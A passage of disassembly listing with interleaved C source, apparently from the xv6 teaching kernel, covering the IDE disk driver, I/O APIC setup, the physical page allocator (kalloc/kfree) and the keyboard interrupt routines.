80102770: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102777: e8 ab 27 00 00 call 80104f27 <acquire>
if((b = idequeue) == 0){
8010277c: a1 54 b6 10 80 mov 0x8010b654,%eax
80102781: 89 45 f4 mov %eax,-0xc(%ebp)
80102784: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102788: 75 11 jne 8010279b <ideintr+0x31>
release(&idelock);
8010278a: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102791: e8 f8 27 00 00 call 80104f8e <release>
// cprintf("spurious IDE interrupt\n");
return;
80102796: e9 90 00 00 00 jmp 8010282b <ideintr+0xc1>
}
idequeue = b->qnext;
8010279b: 8b 45 f4 mov -0xc(%ebp),%eax
8010279e: 8b 40 58 mov 0x58(%eax),%eax
801027a1: a3 54 b6 10 80 mov %eax,0x8010b654
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
801027a6: 8b 45 f4 mov -0xc(%ebp),%eax
801027a9: 8b 00 mov (%eax),%eax
801027ab: 83 e0 04 and $0x4,%eax
801027ae: 85 c0 test %eax,%eax
801027b0: 75 2e jne 801027e0 <ideintr+0x76>
801027b2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801027b9: e8 3b fd ff ff call 801024f9 <idewait>
801027be: 85 c0 test %eax,%eax
801027c0: 78 1e js 801027e0 <ideintr+0x76>
insl(0x1f0, b->data, BSIZE/4);
801027c2: 8b 45 f4 mov -0xc(%ebp),%eax
801027c5: 83 c0 5c add $0x5c,%eax
801027c8: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801027cf: 00
801027d0: 89 44 24 04 mov %eax,0x4(%esp)
801027d4: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
801027db: e8 b3 fc ff ff call 80102493 <insl>
// Wake process waiting for this buf.
b->flags |= B_VALID;
801027e0: 8b 45 f4 mov -0xc(%ebp),%eax
801027e3: 8b 00 mov (%eax),%eax
801027e5: 83 c8 02 or $0x2,%eax
801027e8: 89 c2 mov %eax,%edx
801027ea: 8b 45 f4 mov -0xc(%ebp),%eax
801027ed: 89 10 mov %edx,(%eax)
b->flags &= ~B_DIRTY;
801027ef: 8b 45 f4 mov -0xc(%ebp),%eax
801027f2: 8b 00 mov (%eax),%eax
801027f4: 83 e0 fb and $0xfffffffb,%eax
801027f7: 89 c2 mov %eax,%edx
801027f9: 8b 45 f4 mov -0xc(%ebp),%eax
801027fc: 89 10 mov %edx,(%eax)
wakeup(b);
801027fe: 8b 45 f4 mov -0xc(%ebp),%eax
80102801: 89 04 24 mov %eax,(%esp)
80102804: e8 26 24 00 00 call 80104c2f <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
80102809: a1 54 b6 10 80 mov 0x8010b654,%eax
8010280e: 85 c0 test %eax,%eax
80102810: 74 0d je 8010281f <ideintr+0xb5>
idestart(idequeue);
80102812: a1 54 b6 10 80 mov 0x8010b654,%eax
80102817: 89 04 24 mov %eax,(%esp)
8010281a: e8 c1 fd ff ff call 801025e0 <idestart>
release(&idelock);
8010281f: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102826: e8 63 27 00 00 call 80104f8e <release>
}
8010282b: c9 leave
8010282c: c3 ret
8010282d <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
8010282d: 55 push %ebp
8010282e: 89 e5 mov %esp,%ebp
80102830: 83 ec 28 sub $0x28,%esp
struct buf **pp;
if(!holdingsleep(&b->lock))
80102833: 8b 45 08 mov 0x8(%ebp),%eax
80102836: 83 c0 0c add $0xc,%eax
80102839: 89 04 24 mov %eax,(%esp)
8010283c: e8 5f 26 00 00 call 80104ea0 <holdingsleep>
80102841: 85 c0 test %eax,%eax
80102843: 75 0c jne 80102851 <iderw+0x24>
panic("iderw: buf not locked");
80102845: c7 04 24 1b 87 10 80 movl $0x8010871b,(%esp)
8010284c: e8 03 dd ff ff call 80100554 <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
80102851: 8b 45 08 mov 0x8(%ebp),%eax
80102854: 8b 00 mov (%eax),%eax
80102856: 83 e0 06 and $0x6,%eax
80102859: 83 f8 02 cmp $0x2,%eax
8010285c: 75 0c jne 8010286a <iderw+0x3d>
panic("iderw: nothing to do");
8010285e: c7 04 24 31 87 10 80 movl $0x80108731,(%esp)
80102865: e8 ea dc ff ff call 80100554 <panic>
if(b->dev != 0 && !havedisk1)
8010286a: 8b 45 08 mov 0x8(%ebp),%eax
8010286d: 8b 40 04 mov 0x4(%eax),%eax
80102870: 85 c0 test %eax,%eax
80102872: 74 15 je 80102889 <iderw+0x5c>
80102874: a1 58 b6 10 80 mov 0x8010b658,%eax
80102879: 85 c0 test %eax,%eax
8010287b: 75 0c jne 80102889 <iderw+0x5c>
panic("iderw: ide disk 1 not present");
8010287d: c7 04 24 46 87 10 80 movl $0x80108746,(%esp)
80102884: e8 cb dc ff ff call 80100554 <panic>
acquire(&idelock); //DOC:acquire-lock
80102889: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102890: e8 92 26 00 00 call 80104f27 <acquire>
// Append b to idequeue.
b->qnext = 0;
80102895: 8b 45 08 mov 0x8(%ebp),%eax
80102898: c7 40 58 00 00 00 00 movl $0x0,0x58(%eax)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010289f: c7 45 f4 54 b6 10 80 movl $0x8010b654,-0xc(%ebp)
801028a6: eb 0b jmp 801028b3 <iderw+0x86>
801028a8: 8b 45 f4 mov -0xc(%ebp),%eax
801028ab: 8b 00 mov (%eax),%eax
801028ad: 83 c0 58 add $0x58,%eax
801028b0: 89 45 f4 mov %eax,-0xc(%ebp)
801028b3: 8b 45 f4 mov -0xc(%ebp),%eax
801028b6: 8b 00 mov (%eax),%eax
801028b8: 85 c0 test %eax,%eax
801028ba: 75 ec jne 801028a8 <iderw+0x7b>
;
*pp = b;
801028bc: 8b 45 f4 mov -0xc(%ebp),%eax
801028bf: 8b 55 08 mov 0x8(%ebp),%edx
801028c2: 89 10 mov %edx,(%eax)
// Start disk if necessary.
if(idequeue == b)
801028c4: a1 54 b6 10 80 mov 0x8010b654,%eax
801028c9: 3b 45 08 cmp 0x8(%ebp),%eax
801028cc: 75 0d jne 801028db <iderw+0xae>
idestart(b);
801028ce: 8b 45 08 mov 0x8(%ebp),%eax
801028d1: 89 04 24 mov %eax,(%esp)
801028d4: e8 07 fd ff ff call 801025e0 <idestart>
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801028d9: eb 15 jmp 801028f0 <iderw+0xc3>
801028db: eb 13 jmp 801028f0 <iderw+0xc3>
sleep(b, &idelock);
801028dd: c7 44 24 04 20 b6 10 movl $0x8010b620,0x4(%esp)
801028e4: 80
801028e5: 8b 45 08 mov 0x8(%ebp),%eax
801028e8: 89 04 24 mov %eax,(%esp)
801028eb: e8 66 22 00 00 call 80104b56 <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801028f0: 8b 45 08 mov 0x8(%ebp),%eax
801028f3: 8b 00 mov (%eax),%eax
801028f5: 83 e0 06 and $0x6,%eax
801028f8: 83 f8 02 cmp $0x2,%eax
801028fb: 75 e0 jne 801028dd <iderw+0xb0>
sleep(b, &idelock);
}
release(&idelock);
801028fd: c7 04 24 20 b6 10 80 movl $0x8010b620,(%esp)
80102904: e8 85 26 00 00 call 80104f8e <release>
}
80102909: c9 leave
8010290a: c3 ret
...
8010290c <ioapicread>:
uint data;
};
static uint
ioapicread(int reg)
{
8010290c: 55 push %ebp
8010290d: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
8010290f: a1 f4 36 11 80 mov 0x801136f4,%eax
80102914: 8b 55 08 mov 0x8(%ebp),%edx
80102917: 89 10 mov %edx,(%eax)
return ioapic->data;
80102919: a1 f4 36 11 80 mov 0x801136f4,%eax
8010291e: 8b 40 10 mov 0x10(%eax),%eax
}
80102921: 5d pop %ebp
80102922: c3 ret
80102923 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
80102923: 55 push %ebp
80102924: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
80102926: a1 f4 36 11 80 mov 0x801136f4,%eax
8010292b: 8b 55 08 mov 0x8(%ebp),%edx
8010292e: 89 10 mov %edx,(%eax)
ioapic->data = data;
80102930: a1 f4 36 11 80 mov 0x801136f4,%eax
80102935: 8b 55 0c mov 0xc(%ebp),%edx
80102938: 89 50 10 mov %edx,0x10(%eax)
}
8010293b: 5d pop %ebp
8010293c: c3 ret
8010293d <ioapicinit>:
void
ioapicinit(void)
{
8010293d: 55 push %ebp
8010293e: 89 e5 mov %esp,%ebp
80102940: 83 ec 28 sub $0x28,%esp
int i, id, maxintr;
if(!ismp)
80102943: a1 24 38 11 80 mov 0x80113824,%eax
80102948: 85 c0 test %eax,%eax
8010294a: 75 05 jne 80102951 <ioapicinit+0x14>
return;
8010294c: e9 9a 00 00 00 jmp 801029eb <ioapicinit+0xae>
ioapic = (volatile struct ioapic*)IOAPIC;
80102951: c7 05 f4 36 11 80 00 movl $0xfec00000,0x801136f4
80102958: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
8010295b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80102962: e8 a5 ff ff ff call 8010290c <ioapicread>
80102967: c1 e8 10 shr $0x10,%eax
8010296a: 25 ff 00 00 00 and $0xff,%eax
8010296f: 89 45 f0 mov %eax,-0x10(%ebp)
id = ioapicread(REG_ID) >> 24;
80102972: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80102979: e8 8e ff ff ff call 8010290c <ioapicread>
8010297e: c1 e8 18 shr $0x18,%eax
80102981: 89 45 ec mov %eax,-0x14(%ebp)
if(id != ioapicid)
80102984: a0 20 38 11 80 mov 0x80113820,%al
80102989: 0f b6 c0 movzbl %al,%eax
8010298c: 3b 45 ec cmp -0x14(%ebp),%eax
8010298f: 74 0c je 8010299d <ioapicinit+0x60>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102991: c7 04 24 64 87 10 80 movl $0x80108764,(%esp)
80102998: e8 24 da ff ff call 801003c1 <cprintf>
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010299d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801029a4: eb 3d jmp 801029e3 <ioapicinit+0xa6>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
801029a6: 8b 45 f4 mov -0xc(%ebp),%eax
801029a9: 83 c0 20 add $0x20,%eax
801029ac: 0d 00 00 01 00 or $0x10000,%eax
801029b1: 89 c2 mov %eax,%edx
801029b3: 8b 45 f4 mov -0xc(%ebp),%eax
801029b6: 83 c0 08 add $0x8,%eax
801029b9: 01 c0 add %eax,%eax
801029bb: 89 54 24 04 mov %edx,0x4(%esp)
801029bf: 89 04 24 mov %eax,(%esp)
801029c2: e8 5c ff ff ff call 80102923 <ioapicwrite>
ioapicwrite(REG_TABLE+2*i+1, 0);
801029c7: 8b 45 f4 mov -0xc(%ebp),%eax
801029ca: 83 c0 08 add $0x8,%eax
801029cd: 01 c0 add %eax,%eax
801029cf: 40 inc %eax
801029d0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801029d7: 00
801029d8: 89 04 24 mov %eax,(%esp)
801029db: e8 43 ff ff ff call 80102923 <ioapicwrite>
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801029e0: ff 45 f4 incl -0xc(%ebp)
801029e3: 8b 45 f4 mov -0xc(%ebp),%eax
801029e6: 3b 45 f0 cmp -0x10(%ebp),%eax
801029e9: 7e bb jle 801029a6 <ioapicinit+0x69>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
801029eb: c9 leave
801029ec: c3 ret
801029ed <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
801029ed: 55 push %ebp
801029ee: 89 e5 mov %esp,%ebp
801029f0: 83 ec 08 sub $0x8,%esp
if(!ismp)
801029f3: a1 24 38 11 80 mov 0x80113824,%eax
801029f8: 85 c0 test %eax,%eax
801029fa: 75 02 jne 801029fe <ioapicenable+0x11>
return;
801029fc: eb 37 jmp 80102a35 <ioapicenable+0x48>
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801029fe: 8b 45 08 mov 0x8(%ebp),%eax
80102a01: 83 c0 20 add $0x20,%eax
80102a04: 89 c2 mov %eax,%edx
80102a06: 8b 45 08 mov 0x8(%ebp),%eax
80102a09: 83 c0 08 add $0x8,%eax
80102a0c: 01 c0 add %eax,%eax
80102a0e: 89 54 24 04 mov %edx,0x4(%esp)
80102a12: 89 04 24 mov %eax,(%esp)
80102a15: e8 09 ff ff ff call 80102923 <ioapicwrite>
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102a1a: 8b 45 0c mov 0xc(%ebp),%eax
80102a1d: c1 e0 18 shl $0x18,%eax
80102a20: 8b 55 08 mov 0x8(%ebp),%edx
80102a23: 83 c2 08 add $0x8,%edx
80102a26: 01 d2 add %edx,%edx
80102a28: 42 inc %edx
80102a29: 89 44 24 04 mov %eax,0x4(%esp)
80102a2d: 89 14 24 mov %edx,(%esp)
80102a30: e8 ee fe ff ff call 80102923 <ioapicwrite>
}
80102a35: c9 leave
80102a36: c3 ret
...
80102a38 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
80102a38: 55 push %ebp
80102a39: 89 e5 mov %esp,%ebp
80102a3b: 83 ec 18 sub $0x18,%esp
initlock(&kmem.lock, "kmem");
80102a3e: c7 44 24 04 96 87 10 movl $0x80108796,0x4(%esp)
80102a45: 80
80102a46: c7 04 24 00 37 11 80 movl $0x80113700,(%esp)
80102a4d: e8 b4 24 00 00 call 80104f06 <initlock>
kmem.use_lock = 0;
80102a52: c7 05 34 37 11 80 00 movl $0x0,0x80113734
80102a59: 00 00 00
freerange(vstart, vend);
80102a5c: 8b 45 0c mov 0xc(%ebp),%eax
80102a5f: 89 44 24 04 mov %eax,0x4(%esp)
80102a63: 8b 45 08 mov 0x8(%ebp),%eax
80102a66: 89 04 24 mov %eax,(%esp)
80102a69: e8 26 00 00 00 call 80102a94 <freerange>
}
80102a6e: c9 leave
80102a6f: c3 ret
80102a70 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
80102a70: 55 push %ebp
80102a71: 89 e5 mov %esp,%ebp
80102a73: 83 ec 18 sub $0x18,%esp
freerange(vstart, vend);
80102a76: 8b 45 0c mov 0xc(%ebp),%eax
80102a79: 89 44 24 04 mov %eax,0x4(%esp)
80102a7d: 8b 45 08 mov 0x8(%ebp),%eax
80102a80: 89 04 24 mov %eax,(%esp)
80102a83: e8 0c 00 00 00 call 80102a94 <freerange>
kmem.use_lock = 1;
80102a88: c7 05 34 37 11 80 01 movl $0x1,0x80113734
80102a8f: 00 00 00
}
80102a92: c9 leave
80102a93: c3 ret
80102a94 <freerange>:
void
freerange(void *vstart, void *vend)
{
80102a94: 55 push %ebp
80102a95: 89 e5 mov %esp,%ebp
80102a97: 83 ec 28 sub $0x28,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102a9a: 8b 45 08 mov 0x8(%ebp),%eax
80102a9d: 05 ff 0f 00 00 add $0xfff,%eax
80102aa2: 25 00 f0 ff ff and $0xfffff000,%eax
80102aa7: 89 45 f4 mov %eax,-0xc(%ebp)
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102aaa: eb 12 jmp 80102abe <freerange+0x2a>
kfree(p);
80102aac: 8b 45 f4 mov -0xc(%ebp),%eax
80102aaf: 89 04 24 mov %eax,(%esp)
80102ab2: e8 16 00 00 00 call 80102acd <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102ab7: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80102abe: 8b 45 f4 mov -0xc(%ebp),%eax
80102ac1: 05 00 10 00 00 add $0x1000,%eax
80102ac6: 3b 45 0c cmp 0xc(%ebp),%eax
80102ac9: 76 e1 jbe 80102aac <freerange+0x18>
kfree(p);
}
80102acb: c9 leave
80102acc: c3 ret
80102acd <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102acd: 55 push %ebp
80102ace: 89 e5 mov %esp,%ebp
80102ad0: 83 ec 28 sub $0x28,%esp
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
80102ad3: 8b 45 08 mov 0x8(%ebp),%eax
80102ad6: 25 ff 0f 00 00 and $0xfff,%eax
80102adb: 85 c0 test %eax,%eax
80102add: 75 18 jne 80102af7 <kfree+0x2a>
80102adf: 81 7d 08 c8 65 11 80 cmpl $0x801165c8,0x8(%ebp)
80102ae6: 72 0f jb 80102af7 <kfree+0x2a>
80102ae8: 8b 45 08 mov 0x8(%ebp),%eax
80102aeb: 05 00 00 00 80 add $0x80000000,%eax
80102af0: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102af5: 76 0c jbe 80102b03 <kfree+0x36>
panic("kfree");
80102af7: c7 04 24 9b 87 10 80 movl $0x8010879b,(%esp)
80102afe: e8 51 da ff ff call 80100554 <panic>
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102b03: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80102b0a: 00
80102b0b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102b12: 00
80102b13: 8b 45 08 mov 0x8(%ebp),%eax
80102b16: 89 04 24 mov %eax,(%esp)
80102b19: e8 6c 26 00 00 call 8010518a <memset>
if(kmem.use_lock)
80102b1e: a1 34 37 11 80 mov 0x80113734,%eax
80102b23: 85 c0 test %eax,%eax
80102b25: 74 0c je 80102b33 <kfree+0x66>
acquire(&kmem.lock);
80102b27: c7 04 24 00 37 11 80 movl $0x80113700,(%esp)
80102b2e: e8 f4 23 00 00 call 80104f27 <acquire>
r = (struct run*)v;
80102b33: 8b 45 08 mov 0x8(%ebp),%eax
80102b36: 89 45 f4 mov %eax,-0xc(%ebp)
r->next = kmem.freelist;
80102b39: 8b 15 38 37 11 80 mov 0x80113738,%edx
80102b3f: 8b 45 f4 mov -0xc(%ebp),%eax
80102b42: 89 10 mov %edx,(%eax)
kmem.freelist = r;
80102b44: 8b 45 f4 mov -0xc(%ebp),%eax
80102b47: a3 38 37 11 80 mov %eax,0x80113738
if(kmem.use_lock)
80102b4c: a1 34 37 11 80 mov 0x80113734,%eax
80102b51: 85 c0 test %eax,%eax
80102b53: 74 0c je 80102b61 <kfree+0x94>
release(&kmem.lock);
80102b55: c7 04 24 00 37 11 80 movl $0x80113700,(%esp)
80102b5c: e8 2d 24 00 00 call 80104f8e <release>
}
80102b61: c9 leave
80102b62: c3 ret
80102b63 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102b63: 55 push %ebp
80102b64: 89 e5 mov %esp,%ebp
80102b66: 83 ec 28 sub $0x28,%esp
struct run *r;
if(kmem.use_lock)
80102b69: a1 34 37 11 80 mov 0x80113734,%eax
80102b6e: 85 c0 test %eax,%eax
80102b70: 74 0c je 80102b7e <kalloc+0x1b>
acquire(&kmem.lock);
80102b72: c7 04 24 00 37 11 80 movl $0x80113700,(%esp)
80102b79: e8 a9 23 00 00 call 80104f27 <acquire>
r = kmem.freelist;
80102b7e: a1 38 37 11 80 mov 0x80113738,%eax
80102b83: 89 45 f4 mov %eax,-0xc(%ebp)
if(r)
80102b86: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102b8a: 74 0a je 80102b96 <kalloc+0x33>
kmem.freelist = r->next;
80102b8c: 8b 45 f4 mov -0xc(%ebp),%eax
80102b8f: 8b 00 mov (%eax),%eax
80102b91: a3 38 37 11 80 mov %eax,0x80113738
if(kmem.use_lock)
80102b96: a1 34 37 11 80 mov 0x80113734,%eax
80102b9b: 85 c0 test %eax,%eax
80102b9d: 74 0c je 80102bab <kalloc+0x48>
release(&kmem.lock);
80102b9f: c7 04 24 00 37 11 80 movl $0x80113700,(%esp)
80102ba6: e8 e3 23 00 00 call 80104f8e <release>
return (char*)r;
80102bab: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102bae: c9 leave
80102baf: c3 ret
80102bb0 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102bb0: 55 push %ebp
80102bb1: 89 e5 mov %esp,%ebp
80102bb3: 83 ec 14 sub $0x14,%esp
80102bb6: 8b 45 08 mov 0x8(%ebp),%eax
80102bb9: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102bbd: 8b 45 ec mov -0x14(%ebp),%eax
80102bc0: 89 c2 mov %eax,%edx
80102bc2: ec in (%dx),%al
80102bc3: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102bc6: 8a 45 ff mov -0x1(%ebp),%al
}
80102bc9: c9 leave
80102bca: c3 ret
80102bcb <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102bcb: 55 push %ebp
80102bcc: 89 e5 mov %esp,%ebp
80102bce: 83 ec 14 sub $0x14,%esp
static uchar *charcode[4] = {
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
80102bd1: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102bd8: e8 d3 ff ff ff call 80102bb0 <inb>
80102bdd: 0f b6 c0 movzbl %al,%eax
80102be0: 89 45 f4 mov %eax,-0xc(%ebp)
if((st & KBS_DIB) == 0)
80102be3: 8b 45 f4 mov -0xc(%ebp),%eax
80102be6: 83 e0 01 and $0x1,%eax
80102be9: 85 c0 test %eax,%eax
80102beb: 75 0a jne 80102bf7 <kbdgetc+0x2c>
return -1;
80102bed: b8 ff ff ff ff mov $0xffffffff,%eax
80102bf2: e9 21 01 00 00 jmp 80102d18 <kbdgetc+0x14d>
data = inb(KBDATAP);
80102bf7: c7 04 24 60 00 00 00 movl $0x60,(%esp)
80102bfe: e8 ad ff ff ff call 80102bb0 <inb>
80102c03: 0f b6 c0 movzbl %al,%eax
80102c06: 89 45 fc mov %eax,-0x4(%ebp)
if(data == 0xE0){
80102c09: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp)
80102c10: 75 17 jne 80102c29 <kbdgetc+0x5e>
shift |= E0ESC;
80102c12: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102c17: 83 c8 40 or $0x40,%eax
80102c1a: a3 5c b6 10 80 mov %eax,0x8010b65c
return 0;
80102c1f: b8 00 00 00 00 mov $0x0,%eax
80102c24: e9 ef 00 00 00 jmp 80102d18 <kbdgetc+0x14d>
} else if(data & 0x80){
80102c29: 8b 45 fc mov -0x4(%ebp),%eax
80102c2c: 25 80 00 00 00 and $0x80,%eax
80102c31: 85 c0 test %eax,%eax
80102c33: 74 44 je 80102c79 <kbdgetc+0xae>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102c35: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102c3a: 83 e0 40 and $0x40,%eax
80102c3d: 85 c0 test %eax,%eax
80102c3f: 75 08 jne 80102c49 <kbdgetc+0x7e>
80102c41: 8b 45 fc mov -0x4(%ebp),%eax
80102c44: 83 e0 7f and $0x7f,%eax
80102c47: eb 03 jmp 80102c4c <kbdgetc+0x81>
80102c49: 8b 45 fc mov -0x4(%ebp),%eax
80102c4c: 89 45 fc mov %eax,-0x4(%ebp)
shift &= ~(shiftcode[data] | E0ESC);
80102c4f: 8b 45 fc mov -0x4(%ebp),%eax
80102c52: 05 20 90 10 80 add $0x80109020,%eax
80102c57: 8a 00 mov (%eax),%al
80102c59: 83 c8 40 or $0x40,%eax
80102c5c: 0f b6 c0 movzbl %al,%eax
80102c5f: f7 d0 not %eax
80102c61: 89 c2 mov %eax,%edx
80102c63: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102c68: 21 d0 and %edx,%eax
80102c6a: a3 5c b6 10 80 mov %eax,0x8010b65c
return 0;
80102c6f: b8 00 00 00 00 mov $0x0,%eax
80102c74: e9 9f 00 00 00 jmp 80102d18 <kbdgetc+0x14d>
} else if(shift & E0ESC){
80102c79: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102c7e: 83 e0 40 and $0x40,%eax
80102c81: 85 c0 test %eax,%eax
80102c83: 74 14 je 80102c99 <kbdgetc+0xce>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102c85: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp)
shift &= ~E0ESC;
80102c8c: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102c91: 83 e0 bf and $0xffffffbf,%eax
80102c94: a3 5c b6 10 80 mov %eax,0x8010b65c
}
shift |= shiftcode[data];
80102c99: 8b 45 fc mov -0x4(%ebp),%eax
80102c9c: 05 20 90 10 80 add $0x80109020,%eax
80102ca1: 8a 00 mov (%eax),%al
80102ca3: 0f b6 d0 movzbl %al,%edx
80102ca6: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102cab: 09 d0 or %edx,%eax
80102cad: a3 5c b6 10 80 mov %eax,0x8010b65c
shift ^= togglecode[data];
80102cb2: 8b 45 fc mov -0x4(%ebp),%eax
80102cb5: 05 20 91 10 80 add $0x80109120,%eax
80102cba: 8a 00 mov (%eax),%al
80102cbc: 0f b6 d0 movzbl %al,%edx
80102cbf: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102cc4: 31 d0 xor %edx,%eax
80102cc6: a3 5c b6 10 80 mov %eax,0x8010b65c
c = charcode[shift & (CTL | SHIFT)][data];
80102ccb: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102cd0: 83 e0 03 and $0x3,%eax
80102cd3: 8b 14 85 20 95 10 80 mov -0x7fef6ae0(,%eax,4),%edx
80102cda: 8b 45 fc mov -0x4(%ebp),%eax
80102cdd: 01 d0 add %edx,%eax
80102cdf: 8a 00 mov (%eax),%al
80102ce1: 0f b6 c0 movzbl %al,%eax
80102ce4: 89 45 f8 mov %eax,-0x8(%ebp)
if(shift & CAPSLOCK){
80102ce7: a1 5c b6 10 80 mov 0x8010b65c,%eax
80102cec: 83 e0 08 and $0x8,%eax
80102cef: 85 c0 test %eax,%eax
80102cf1: 74 22 je 80102d15 <kbdgetc+0x14a>
if('a' <= c && c <= 'z')
80102cf3: 83 7d f8 60 cmpl $0x60,-0x8(%ebp)
80102cf7: 76 0c jbe 80102d05 <kbdgetc+0x13a>
80102cf9: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp)
80102cfd: 77 06 ja 80102d05 <kbdgetc+0x13a>
c += 'A' - 'a';
80102cff: 83 6d f8 20 subl $0x20,-0x8(%ebp)
80102d03: eb 10 jmp 80102d15 <kbdgetc+0x14a>
else if('A' <= c && c <= 'Z')
80102d05: 83 7d f8 40 cmpl $0x40,-0x8(%ebp)
80102d09: 76 0a jbe 80102d15 <kbdgetc+0x14a>
80102d0b: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp)
80102d0f: 77 04 ja 80102d15 <kbdgetc+0x14a>
c += 'a' - 'A';
80102d11: 83 45 f8 20 addl $0x20,-0x8(%ebp)
}
return c;
80102d15: 8b 45 f8 mov -0x8(%ebp),%eax
}
80102d18: c9 leave
80102d19: c3 ret
80102d1a <kbdintr>:
void
kbdintr(void)
{
80102d1a: 55 push %ebp
80102d1b: 89 e5 mov %esp,%ebp
80102d1d: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
80102d20: c7 04 24 cb 2b 10 80 movl $0x80102bcb,(%esp)
80102d27: e8 9f da ff ff call 801007cb <consoleintr>
}
80102d2c: c9 leave
80102d2d: c3 ret
...
80102d30 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102d30: 55 push %ebp
80102d31: 89 e5 mov %esp,%ebp
80102d33: 83 ec 14 sub $0x14,%esp
80102d36: 8b 45 08 mov 0x8(%ebp),%eax
80102d39: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102d3d: 8b 45 ec mov -0x14(%ebp),%eax
80102d40: 89 c2 mov %eax,%edx
80102d42: ec in (%dx),%al
80102d43: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102d46: 8a 45 ff mov -0x1(%ebp),%al
}
80102d49: c9 leave
80102d4a: c3 ret
80102d4b <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80102d4b: 55 push %ebp
80102d4c: 89 e5 mov %esp,%ebp
80102d4e: 83 ec 08 sub $0x8,%esp
80102d51: 8b 45 08 mov 0x8(%ebp),%eax
80102d54: 8b 55 0c mov 0xc(%ebp),%edx
80102d57: 66 89 45 fc mov %ax,-0x4(%ebp)
